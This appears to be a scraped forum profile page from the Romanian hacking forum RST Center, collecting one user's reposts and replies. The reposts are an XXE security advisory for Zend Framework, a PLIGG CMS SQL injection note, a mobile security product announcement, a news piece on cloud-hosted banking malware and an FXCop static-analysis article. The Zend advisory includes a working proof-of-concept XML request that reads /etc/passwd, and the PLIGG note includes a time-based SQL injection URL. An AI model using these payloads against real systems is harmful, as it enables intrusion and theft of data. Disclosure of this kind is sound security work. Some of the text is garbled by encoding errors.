DarkyAngel

Local file disclosure via XXE injection SEC Consult Vulnerability Lab Security Advisory < 20120626-0 > ======================================================================= title: Local file disclosure via XXE injection product: Zend Framework vulnerable version: 1.11.11 1.12.0 RC1 2.0.0 beta4 and earlier versions / branches fixed version: 1.11.12 1.12.0 RC2 2.0.0 beta5 / trunk impact: Critical homepage: http://framework.zend.com/ found: 2012-06-18 by: K. Gudinavicius SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Extending the art & spirit of PHP, Zend Framework is based on simplicity, object-oriented best practices, corporate friendly licensing, and a rigorously tested agile codebase. Zend Framework is focused on building more secure, reliable, and modern Web 2.0 applications & web services, and consuming widely available APIs from leading vendors like Google, Amazon, Yahoo!, Flickr, as well as API providers and cataloguers like StrikeIron and ProgrammableWeb." Source: http://framework.zend.com/about/overview Vulnerability overview/description: ----------------------------------- The XmlRpc package of Zend Framework is vulnerable to XML eXternal Entity Injection attacks (both server and client). The SimpleXMLElement class (SimpleXML PHP extension) is used in an insecure way to parse XML data. External entities can be specified by adding a specific DOCTYPE element to XML-RPC requests. By exploiting this vulnerability an application may be coerced to open arbitrary files and/or TCP connections. Other software that uses the XmlRpc package of Zend Framework is then also vulnerable to XML eXternal Entity Injection attacks! Proof of concept: ----------------- For example, the loadXml function (Zend\XmlRpc\Request.php and Response.php) fails to disable external entities when parsing XML data. There is no call to the libxml_disable_entity_loader function before initializing the SimpleXMLElement class. Related code excerpt: public function loadXml($request) { if (!is_string($request)) { $this->_fault = new Zend_XmlRpc_Fault(635); $this->_fault->setEncoding($this->getEncoding()); return false; } try { $xml = new SimpleXMLElement($request); } catch (Exception $e) { // Not valid XML $this->_fault = new Zend_XmlRpc_Fault(631); $this->_fault->setEncoding($this->getEncoding()); return false; } [...] } If a web application uses the Zend_XmlRpc_Server() class (Zend\XmlRpc\Server.php) to handle XML-RPC requests, it is possible to disclose arbitrary local files from the remote system. The following HTTP POST request to the vulnerable XmlRpc server application illustrates the exploitation of this vulnerability. POST /xmlrpc_server.php HTTP/1.1 Host: $host <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT methodName ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <methodCall> <methodName>&xxe;</methodName> </methodCall> Vulnerable / tested versions: ----------------------------- The vulnerability has been verified to exist in versions 1.11.11 and 2.0.0beta4 of Zend Framework, which were the most recent versions at the time of discovery. Furthermore, previous versions and 1.12.0 RC1 are also affected. Older branches are also affected but won't be fixed by Zend as they are not maintained anymore. Their policy is to fix the current minor release and the immediate previous minor release. Vendor contact timeline: ------------------------ 2012-06-18: Contacting vendor through zf-security@zend.com 2012-06-18: Vendor: Very fast reply, fixes issue already after 3 hours! 2012-06-18: Confirming server-side fix, adding recommendation for XmlRpc client code 2012-06-19: Vendor: XmlRpc client code also fixed Confirming fix 2012-06-20: Contacting local CERT 2012-06-20: Vendor: starts packaging, expected release of 1.11.12 and 1.12.0RC2 by end of week, ZF2 trunk already fixed, next beta 2.0.0beta5 will be released late next week 2012-06-22: Vendor: Packages are created and staged, packages and security announcement will be released on Monday 2012-06-25: New packages and Zend security advisory released by vendor 2012-06-26: SEC Consult releases security advisory Solution: --------- Upgrade to the latest version available, e.g. * v1.11.12 * v1.12.0 RC2 * update ZF2 master trunk If you are using an older branch you are urged to upgrade! Zend framework security advisory: http://framework.zend.com/security/advisory/ZF2012-01 Download link for new releases: http://framework.zend.com/download/latest Commits: -------- http://framework.zend.com/code/log.php?repname=Zend+Framework&path=%2F * Zend Framework 1.X Trunk: http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2Ftrunk&rev=24970&peg=24970 http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2F&rev=24975 * 1.11.X: http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2Fbranches%2F&rev=24971&peg=24971 http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2Fbranches%2F&rev=24972&peg=24972 http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2F&rev=24976 * 1.12.0: http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2Fbranches%2F&rev=24973&peg=24973 http://framework.zend.com/code/revision.php?repname=Zend+Framework&path=%2F&rev=24977 * Zend Framework 2.0 https://github.com/zendframework/zf2/pull/1523 Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/advisories.html Sursa

PLIGG CMS version 1.1.2 SQL Injection in search module Example link : http://www.example.com Vulnerable parameter : status Example of exploitation && vulnerable link : http://www.example.com/Audits/CMS/pligg_1.1.2/search.php?adv=1&status='and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search+&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0 Sursa

Sa-ti pierzi smartphone-ul sau tableta PC este, pe cat de suparator, pe atat de periculos; daca dispozitivul ajunge in alte maini, persoane straine au acces la datele personale, fotografiile sau contactele din agenda. Smartphone-urile sunt pierdute frecvent in locuri publice – anul trecut, aproximativ 1.500 de dispozitive mobile au fost pierdute in aeroportul din Frankfurt, cel mai mare aeroport din Germania (sursa: Fraport). Odata cu MobileSecurity 2, G Data lanseaza o noua si cuprinzatoare solutie de securitate ce le ofera utilizatorilor platformei Android o protectie perfecta impotriva amenintarilor online si a consecintelor pierderii: protectia impotriva furtului face posibila localizarea si blocarea smartphone-ului; utilizatorii pot, totodata, sa stearga de la distanta datele de pe telefon si sa dezactiveze folosirea unei cartele SIM diferite. In plus, aplicatiile pot fi protejate prin parola astfel incat ei sa fie singurii care le pot autoriza. G Data MobileSecurity 2 este disponibil in Google Play. G Data MobileSecurity 2 ofera protectie fiabila impotriva malware-ului mobil, precum si protectie in timp real pe timpul navigarii pe Internet cu un smartphone sau cu o tableta PC cu OS Android. Utilizatorii ii pot bloca pe apelantii si expeditorii de SMS-uri deranjante, iar contactele , apelurile si SMS-urile pot fi protejate prin parola. Cei care folosesc dispozitivele personale in interes de serviciu isi pot proteja contactele de business separat. In acelasi timp, utilizatorii de telefoane inteligente si tablete cu Android se pot proteja impotriva consecintelor dezastruoase in cazul pierderii sau a furtului. Dispozitivele pot fi recuperate, iar daca nu mai sunt sanse, datele stocate pot fi sterse de la distanta, pentru a preveni accesul tertilor. Dispozitivele mobile sunt asadar protejate in mod optim. Caracteristici ale G Data MobileSecurity 2: Protectie instanta pe perioada navigarii pe Internet Protectie impotriva aplicatiilor periculoase: Verifica autorizarile aplicatiilor si le clasifica Protectie impotriva programelor malware de Android: Protectie maxima prin update-uri primite in mod regulat. Fisierele si arhivele pot fi scanate manual. Filtru pentru SMS-uri si apeluri: Apelantii deranjanti si expeditorii de SMS-uri nedorite pot fi blocati usor, prin adaugarea contactelor pe blacklist. Protectie in cazul in care dispozitivul este pierdut sau furat: Daca smartphone-ul este pierdut, utilizatorul poate folosi G Data MobileSecurity 2 pentru a localiza dispozitivul folosind Google Maps sau il poate gasi prin intermediul unui semnal acustic. In plus, utilizatorul poate sterge toate datele de la distanta si poate bloca dispozitivul. Blocare in conditiile in care se incearca inlocuirea cartelei SIM: Este posibila prevenirea pornirii dispozitivului daca este folosita o alta cartela SIM. In plus, utilizatorul este anuntat de inlocuirea cartelei prin SMS. Protectie prin parola pentru aplicatii: Doar aplicatiile sigure pot fi accesate odata ce parola corecta a fost introdusa. Protectie a contactelor din agenda: Contactele din agenda, ca si istoricul apelurilor si mesajelor, sunt protejate prin parola. Cerinte de sistem: Smartphone sau tableta PC cu OS Android, versiunea 2.0 sau mai mare Spatiu necesar: aprox. 3 MB Sursa

Researchers say criminals are moving their malware heavy lifting from end user PCs to servers in the cloud. The same flexibility and freedom companies get from having their software and services hosted in the cloud is enabling cybercriminals to conduct highly automated online banking theft -- without doing much of the necessary information processing on their victims' own computers. Security and privacy experts have long worried that criminals would launch attacks on the servers storing the data in cloud environments. But, a report released this week from McAfee and Guardian Analytics shows that criminals are now using the cloud infrastructure itself to get more capability out of their campaigns. "They are leveraging the cloud," Brian Contos, senior director of emerging markets at McAfee, said in an interview. "This is the first time we've ever seen this." Basically, what researchers uncovered was a series of highly sophisticated campaigns designed to siphon money out of high balance bank accounts in Europe, the U.S. and South America through automated transfers. Like most online consumer bank fraud, the attacks started off with a phishing e-mail, typically pretending to be from a victim's bank and urging the recipient to click a link to change the account password. Once the link is clicked, a Trojan -- in this case Zeus or SpyEye -- was downloaded onto the victim's computer, in early versions of the attacks. In later versions the malware is operating from a server. When the victim goes to log into the bank site, the malware would use a so-called Web inject technique to overlay what looks like the bank Web page in the victim's browser. However, behind the scenes and totally transparent to the victim, something entirely different is happening. While the victim thinks he or she is transferring money from a savings account into a checking account, for instance, the malware is actually transferring any amount of money the criminals specify into their own account. Traditionally, banking malware like this will handle the processing from the victim's PC. But in this case, the heavy lifting of the malware is being done on the server in the cloud, according to Contos. In the operations McAfee and Guardian Analytics uncovered the servers were located in eastern European countries, he said. The servers are located mostly at "bullet proof" ISP that have lax policies and are re-located frequently to avoid discovery. "The servers are sitting within ISPs that are designed specifically to take part in fraud," he said, adding that the criminals in these campaigns even managed to bypass two-factor authentication systems commonly used in European consumer online banking. For instance, not only does a consumer type in a username and password to a site, but also swipes a card into a special card reader attached to the PC that provides additional data proof that the legitimate user is accessing the account. The log-in or authentication "information is taken from the malware (on the PC) and redirected to the server in real time, Contos said. "That server takes that data and authenticates against the victim's bank account, all within seconds." The servers -- at least 60 were used in these operations -- provided the criminals with the ability to fully automate the attacks, so less manual intervention is needed on the part of the attacker to do things like adjust the amount to steal that will be below fraud detection levels. "The server is the brains that does all the transactions in the bank account," he said. Rather than having the malware residing on the victim's computer take charge of the attack functions, like stealing the data and sending it off somewhere, the attack itself is performed by the server. "All the intelligence is sitting on the server side that they are putting in the cloud," he said. "The criminals don't have to change anything on the end user side. They can make modifications on the server side. They still have malware on the user's machine, but it can be smaller and much less intelligent than in the past." The malware on the victim's computer can stay simple and doesn't need to be updated to change the functionality of the attack; that can be done on the server side."It's all designed to make (the attack) scalable and agile," Contos said. "This also allows criminals to keep attacks alive as long as possible" because there is less activity on the end user's computer that can be detected. Contos predicts this is the future of malware operations, much like many online business operations have moved to the cloud to save time and resources for companies. Once the malware is on an end user's computer, criminals can use those computers for a multitude of operations and attacks. "We will see people repurposing malware for this purpose," he said. "They will use the install base (of an existing botnet, for example) and ride that wave and set up their own servers" to use the victim computers for theft. Sursa

De foarte multe ori descarcam un API ( Application Programming Interface ) de pe web, sau un SDK ca "Facebook SDK" fara sa ne îngrijoram despre oricare din problemele de securitate care pot interveni din practici necorespunzatoare de codare, care sunt încorporate în API. De multe ori , orice analiza de cod a oricarui din aceste API va arata ca exista deficiente în implementarea API-ului, care cresc suprafata si riscul de atac pentru o companie care foloseste aceste API. Partea din orice program de securitate pentru orice companie care foloseste API-uri publice trebuie sa faca un review complet al API-ului, si cum poate fi exploatat din cauza codului scris necorespunzator de persoana care a construit API-ul. Multi programatori si ingineri de securitate care fac analiza de cod stiu ca "mostrele de cod" sunt adesea nerecomandate pentru utilizarea în productie. Asta a fost o regula standard de când Microsoft Safety exista, si multiple atacuri care au exploatat "monstrele de cod" care au fost lasate ca o parte a instalatiei IIS pe mii de webservere din toata lumea. Ceea ce rar auzim, este despre riscurile asociate cu folosirea publica a API-urilor disponibile prin orice sursa. În timp ce cel mai mare repository de API-uri publice exista pe internet, aproape fiecare companie care ofera un API de asemenea ofera si un SDK ( Software Development Kit ) cu exemple despre cum sa faci functii particulare. Din pacate, acestea sunt exact ca "monstrele de cod", si nu vei stii niciodata calitatea "monstrelor de cod" sau riscurile despre potentialele efecte pe care aceste monstre le pot avea în codul tau. Deficientele din API-uri permit unui hacker sa înteleaga felul în care logica serverului lucreaza, si îi lasa hackerului timp sa lucreze la o cale efectiva sa sa deturneze API-ul sa faca ceva ce developerul nu a intetionat sa se întâmple. Testarea API-urilor publice, sau API-urile care vin cu SDK-uri specifice pentru aplicatii web, trebuie sa fie parte a oricarei companii de securitate si a programelor de evaluare si testare. În timp ce e comun pentru companiile care scriu cod sa faca testari de asigurare a calitatii, multe companii care folosesc API-uri publice nu folosesc teste de asigurare a calitatii ca sa se asigure ca , codul a fost scris corect, si poate rula în siguranta. O modalitate de a testa cel putin asemblarile Dot NET este sa folosesti FX Cop, care e o unealta de analizare a codului dotnet statica de la Microsoft. O poti descarca ca parte a SDK-ului pentru Dot NET si este recomandat ca amândoi, programatorii si inginerii de securitate care evalueaza codul pentru securitate sa învete cel putin sa foloseasca aceasta unealta. Ca un exemplu de folosirea analizei de cod static pentru a descoperi anumite defecte "programatice", ne vom uita la SDK-ul Dot Net Facebook, care poate fi descarcat de pe Facebook C# SDK - Download: 5.2.1 . Acest SDK are o multime de exemple de cod în el , pentru analiza statica, deci programatorii sau inginerii de securitate pot incepe sa vada felul cum functioneaza codul static, si câteva greseli comune în API-urile publice, sau "codurile monstra" care vin cu multe SDK-uri. Este un SDK relativ recent pentru data scrierii ( Octombrie 2011 ). Aceste SDK-uri sunt updatate des cu continut nou, sau noi capabilitati, deci daca faci asta, atunci vei vrea sa fii sigur ca descarci ultimul SDK si rulezi o analiza de cod static impotriva API-urilor care le vei folosi sau asambla in package, daca faci asta doar sa înveti ceva interesant sau sa înveti cum sa faci analiza de cod static. Odata ce ai descarcat Microsoft SDK incluzand ultimul Dot NET framework, vei avea FXCop instalat. În acest caz noi folosim FXCop 10.0.0, desi acest program este frecvent updatat. Trebuie s? dai click dreapta pe MyFXCopProject ca s? adaugi targeturi, sau s? introduci orice DLL pe care vrei s?-l revizuie?ti pentru securitate ca parte din analiza ta de cod static. Pentru acest exemplu vom introduce MOQ.DLL din SDK-ul Facebook, folosind versiunea 3.5 a acestui DLL. FacebookCSharpSDK\Source\packages\Moq.4.0.10827\lib\NET35\Moq.dll Face?i click pe "Analyze" ?i FXCop va trece prin DLL c?utând gre?eli de programare comune. FXCop se bazeaz? pe un baz? de date de stiluri de codare ?i practici bune de codare pentru a face analiza. În multe cazuri este o bun? unealt? pentru a descoperi probleme de baz?, dar se merit? de asemenea s? folosi?i alte unelte de analizare a codului static precum ?i în cazul în care analiza de cod indic? c? sunt multe defecte peste care poate trece. Folosind aceast? unealt? , de?i este un bun indicator de cât de bine programatorul care a scris API-ul a urmat practici bune de codare, sau a în?eles cum programul folosit pentru a scrie cod s-a schimbat sau segmente din el sunt dep??ite de-a lungul timpului. Odata ce analiza este complet?, FXCop va oferi o idee gradat? despre ce defecte sau errori a întâlnit în obiectul dot net ( în acest caz un DLL ) ?i despre ce sunt defectele. Sunt diferite c?i în care FXCop indic? severitatea aspectelor particulare ale codului, ?i apoi le d? un nivel de certitudine, sau cum ar putea într-adev?r s? existe acea eroare într-un program. Po?i s? sortezi rapid de la cel mai mare nivel de defect cu setul de cod ?i apoi s? revizui?i fiecare aspect individual al defectelor. Dac? nu ave?i un "programming background", ar fi bine s? lucra?i cu un programator astfel încât compania poate tria defectele individual , în func?ie de modul cum programatorii lucreaz?, sau folosi?i asta pentru a semnala bug-uri dac? cumpania voastr? folose?te un mecanism de raportare ?i g?sire a bugurilor intern. În orice caz, orice defect critic este ceva ce trebuie revizuit de un programator profesionist, care este familiar cu codul ?i cu compania pentru a ajuta trierea erorilor programatice care vor fi raportate cu aceast? unealt?. This is the sorted view, a non-breaking fix means that the compiler will throw a warning, while a breaking issue might halt or influence the compilation of the program. Because we are working with a DLL, it compiled, but might leave a hook for a hacker to access the call, and cause the program to error out and provide debug information that should not be provided to anyone but programmers. Because we have a breaking issue noticed by FXCop, we will look at that first to see what the issue is, and if it is fixable, or worth testing further, or sending to the bug tracking system used by a company. Again, working with a programmer on this is always a good idea of the security engineer has not done static code analysis or is not a programmer. Aceasta este vederea "sortat?", un defect "non-breaking" înseamn? c? compilerul va ar?ta o avertizare, în timp ce un defect "breaking" poate opri sau influen?a compilarea programului. Pentru c? noi lucr?m cu un DLL, este compilat, dar s-ar putea l?sa un cârlig pentru un hacker s? fac? call, ?i s? cauzeze programul s? dea eroare, ?i s? furnizeze informa?ii de debug care nu ar trebui furnizate dec?t programatorilor. Pentru c? avem un defect "breaking" observat de FXCop, ne vom uita la acela primul pentru a vedea ce defect este, ?i dac? este fixabil, sau merit? testare în continuare, sau raportarea la sistemul de bug tracking folosit de o companie. Din nou, lucr?nd cu un programator la asta e întotdeauna o idee bun? , dac? "inginerul de securitate" nu a f?cut analiz? de cod static sau nu este un programator. Ce spune acest lucru este c? este o eroare critic? , cu o certitudine de 33%. Este etichetat ca "breaking", dar noi ?tim programul deja compilat. FXCop se uit? pentru un atribut de securitate în informatii de serializare ( poate fi un token de securitate, sau ceva ce este ce este "pasat" direct "call"-ului independent a DLL-ului ) . Este foarte probabil ca un token de securitate serializat s? fie trecut în acest "call" din alt DLL sau dintr-un formulat web, cum ar fi login, sau alte informa?ii. Analiza de cod ar trebui s? arate ce date sunt transmise în acest "call" din alte sec?iuni a codului pentru a fi sigur c? cel pu?in un token de securitate este trecut în informa?iile de serializare. Aceast? eroare de asemenea indic? aceea?i concluzie, c? este un token undeva care este trimis c?tre acest obiect. Adaug? urm?torul atribut de securitate în "AbstractInvocation.GetObjectData(SerializationInfo, StreamingContext)" ca s? potrive?ti un LinkDemand în metoda de baz? ‘ISerializable.GetObjectData(SerializationInfo, StreamingContext)’: [securityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)] . Asta e ceva ce necesit? o continu? analiz? de cod a întregului proces în timpul "spargerii" astfel încât dependen?a poate fi rezolvat?. Fie un token e trecut de la LinkDemand sau nu, dac? nu atunci aceasta ar trebui prezentat ca un bug programatorului care folose?te API-ul. Unele erori sunt simple erori de capturare. Trebuie s? existe întotdeauna o func?ie de capturare a erorilor robust?, dar acest lucru este adesea trecut cu vederea în cazul erorilor programului. Capturarea erorilor de cod este o parte fundamentala a program?rii, dar de asemenea una din cele mai trecute cu vederea sec?iuni când program?m cod. Erorile "necapturate" pot conduce la informa?ii dezv?luite utilizatorului sau unui hacker care le poate da mai multe informa?ii despre cum a fost configurat serverul web, sau cum func?ioneaz? defapt serviciul web în rela?ie cu data care este prezentat? acestuia. Modific? "AttributeDisassembler.Disassemble(Attribute)" pentru a captura o excep?ie mai precis? decât ‘Exception' sau retrimite excep?ia. Câteodat? scrierea codului de capturare a erorilor poate fi extraordinar de plictisitor, dar un bun cod de capturare a erorilor poate ?ine hackerul sau chiar utilizatorul casual de la confruntarea problemelor care expun configura?ii internale ale webserverului critice sau importante, sau data care poate conduce la un foarte bun hack care expune baza de date, sau webserverul în sine. Acesta este felul de erorii pe care hackerii îl caut? în mod special pentru c? pot în?elege mai bine logica din spatele serverului, ?i cum lucreaz? API-ul cu data serverului. În timp ce un API public nu e un lucru r?u, cu codul surs? pe care o analiz? de cod static îl poate rula, deschide u?i la g?sirea suprafe?elor de atac. Orice cod , ca un API public, abilitatea hackerilor sau indivizilor r?u-inten?iona?i care ?tiu aceast? informa?ie despre API-urile publice ?i configura?ia lor deschide u?i pentru hackuri mai interesante, sau scurgeri de date mult mai interesante din sistem decât de?in?torii au inten?ionat. În unele cazuri poate conduce la abilitatea de a scrie un virus care atac? exploit(-urile) g?site de-a lungul analizei de cod. Revizuirea fiec?rui API care este folosit de o companie ar trebui s? fie parte a oric?rui proces de securitate a informa?iilor. API-urile introduc riscuri similare cu folosirea codului "mostr?" care este inclus cu seturi de programe specifice. În timp ce API-urile sunt foarte folositoare în construirea "mashup"-urilor sau consumând date în moduri noi, dac? API-ul nu este programat corespunz?tor sau las? tipuri specifice de date deschise astfel încât poate fi cauzat? o eroare, atunci un user al API-ului poate fi în pericol de a risca informa?ii prin scurgeri de date. API-urile sunt parte a eco-sistemului WEB 2.0, ?i ca atare cresc imprimarea hackingului în multiple sisteme care func?ioneaz? pe baza acestor API-uri. Unit??ile de securitate ?i business trebuie s? în?eleag? cum API-ul a fosdt scris, ce implica?ii de securitate are, ?i cum este cel mai bine s? gestionezi aceste riscuri. În?elegând "call"-urile ascunse din API-uri ne ajut? s? în?elegem logica rul?rii aplica?iei web 2.0. În timp ce Javascript folosind xHR ( XML HTTP Requests), ?i firebug este o cale a în?elegerii logicii aplica?iei web 2.0, de asemenea în?elegerea analizei de cod static a API-ului Web 2.0 sau a oric?rui API face mult mai u?or s? în?elegi suprafa?a de atac disponibil?, precum ?i furnizarea abilit??ii de "mockup" a codului ?i practicarea atacurilor efective înainte s? mearg? 'mainstream' ?i s? se opreasc? pe internet ca ultimii 2 viru?i de internet care au afectat MySpace ?i Twitter înc? de la începutul lumii Web 2.0. Mai mult ca orice alt? surs? de cod public, abilitatea hackerului sau unui individ r?u-inten?ionat de a desc?rca cod nu este restric?ionat?. Hackerii care fac analiz? de cod static ?i apoi simuleaz? pe un webserver atacurile pe care vor s? le fac? este o cale de a perfec?iona hackul astfel încât compania sau connexiunile sociale pot fi exploatate mai târziu. Reverse engineering pe API-uri este un proces des întâlnit la hackeri folosit pentru a determina cât de u?or ar fi s? atace oricare parte a suprafa?ei Web 2.0 pentru a câ?tiga informa?ii adi?ionale, a fura informa?ii personale sau s? se infiltreze în sistemele utilizatorilor folosind aceste API-uri. În timp ce func?ionalitatea unui API este fixat? la ceea ce un provider de servicii inten?ioneaz? de a da persoanelor care folosesc aceste API, utilizarea API-urilor necorespunz?tor securizate sau programate face 'hackingul' Web 2.0 mult mai interesant, ?i mult mai plauzibil, astfel încât mul?i oameni folosesc aceste API-uri, ceea ce face un hack eficient într-o gam? larg? de utilizatori.

în func?ia wi*** se compar? $0x3*** cu ce am introdus noi , ?i de aici continuarea ( dac? zic bine ) , cam pân? pe aici am ajuns. m? mai chinui s? aflu valoarea lui $0x**** , având în vedere c? nu prea am f?cut lucruri de genul . // am cenzurat cu ** s? nu dau prea multe indicii.. // e bine pân? aici? )

))))))))))))))))) ! https://rstcenter.com/forum/54907-scanner-ssh-2012-grab-2.rst#post366126 ai primit tutorialul? // on: 1. categorie gre?it? ! 2. dac? tot vrei s? oferi ceva, nu mai bine puneai tu "tutorialul" ?la, s? se poat? folosi mai mul?i, decât s? pui 10 root-uri la care se schimba parola in 5min?

c? de mult tare ai cont ! ?sta e "sloganul" RST. // c? bine zici, SPECIMENE feminine ( vezi exemplu https://rstcenter.com/forum/54846-rst-vs-polonic.rst )

prin M.P unui admin.

când "traduci" un tutorial, înva?? ?i tu din el, experimenteaz? ?i tu, m?car de curiozitate a?a, nu te-ai întrebat ce fac comenzile alea de trebuie s? le execu?i?

Query OK, 354914 rows affected (9.30 sec) c? bine se mi?c? !

sau, s? aib? soarta marketului.

am precizat, nu neap?rat prin invita?ie, cuno?tiin?e, comportament, sau altceva, exemplu: ni?te întreb?ri puse în 5 minute pentru a vedea cum se comport?.. sau un chestionar cu 5 întreb?ri random dintr-o baz? de date cu 1000, ?i apoi sortate ?i accepta?i dintre ei, dup? limbaj / scris / r?spunsuri, nu e neap?rat s? ?tie, de asta e forumul, ca s? înve?e, dar cel pu?in limbajul este primul factor în filtrarea prostiei..

spamul de genul se "pedepsea" ?i pân? acum, dup? câte ?tiu.

dac? tot "cura??m" forumul, cred c? cel mai bine ca s? nu se "murd?reasc?" din nou, înregistrare pe baz? de invita?ie / cuno?tiin?e / orice altceva care ar putea limita prostia din start. în rest, warn pe fiecare post offtopic, ban cel putin 3-5 zile la topicuri inutile, for trolling purposes.. // dac?-mi mai vin în minte, revin cu edit. // titlurile de genul "ajutor ajutor pls ajutor ajutoooor!!" aduc again ban cel pu?in o s?pt?mân? ( asta pentru c? e men?ionat ?i în regulament.. )

oare de ce v? place s? v? repeta?i ca s? face?i posturi? @Wav3, nu, nu e ea.

securing web applications pentesting web applications web development metasploit //eventual primele dou? combinate

eu unul nu în?eleg care e gluma din postul t?u, c? ai pus "HaHA"? sau acum o dai la întors..? // gata cu offtopicul. //on : 18 in almost 6 months

totu?i, de ce nu deschizi u?a la b?ie?i? C? parc? de 2 zile se tot chinuie s? dea ?i ei de tine, ?i tu le zici c? e?ti ocupat?

p?i ?i dac? ?i-ai dat seama c? 'trebuie s?-?i dai seama' de parol?, de ce mai faci afirma?ii d-astea? trebuie s?-?i fac? omul` ?i comentarii suplimentare, sa-ti faca si un desen? cred ca mai simplu de ce a zis el nu se putea, decât în plain..

tu nu te-ai trezit cu un mesaj privat de genul ? )))))) //on, e greu s? arunci 3 taguri într-un index, s? dai mare "deface" de-i ?iuie.. LE: da, îi d?dusem ?i eu report..

Iar ne invadeaz? morcovarii? mai postase?i parc? un program care "face deface".. mai faci ?i spam.. GTFO // apropo, nici nu te-ai chinuit sa dezarhivezi respectiva arhiva, doar i-ai dat run direct sa poti face print? // aa, tot tu ai luat ban azi, tot pentru chestia asta , https://rstcenter.com/forum/members/LegionHacker/ , si tot nu te potolesti?

pe ea e cuno?ti? ea e cea din poz?? m?car s? fie lumea sigur? de un lucru înainte s-o viziteze .

cred c? se mai uit? ?i dup? fa??.. la specifica?iile astea, la ce îl folose?ti, de zici c? se mi?c? a?a greu?

dac? tot s-a ajuns la "leech" cu sursa crypo , am zis s? facem ceva mai "privat", so, de aici , "RST Encrypter" project.. nu are prea multe modific?ri, dar este la îndemân?, ?i "al nostru". so, encript?ri / decript?ri - http://ps-axl.net/crypt sugestiile sunt binevenite.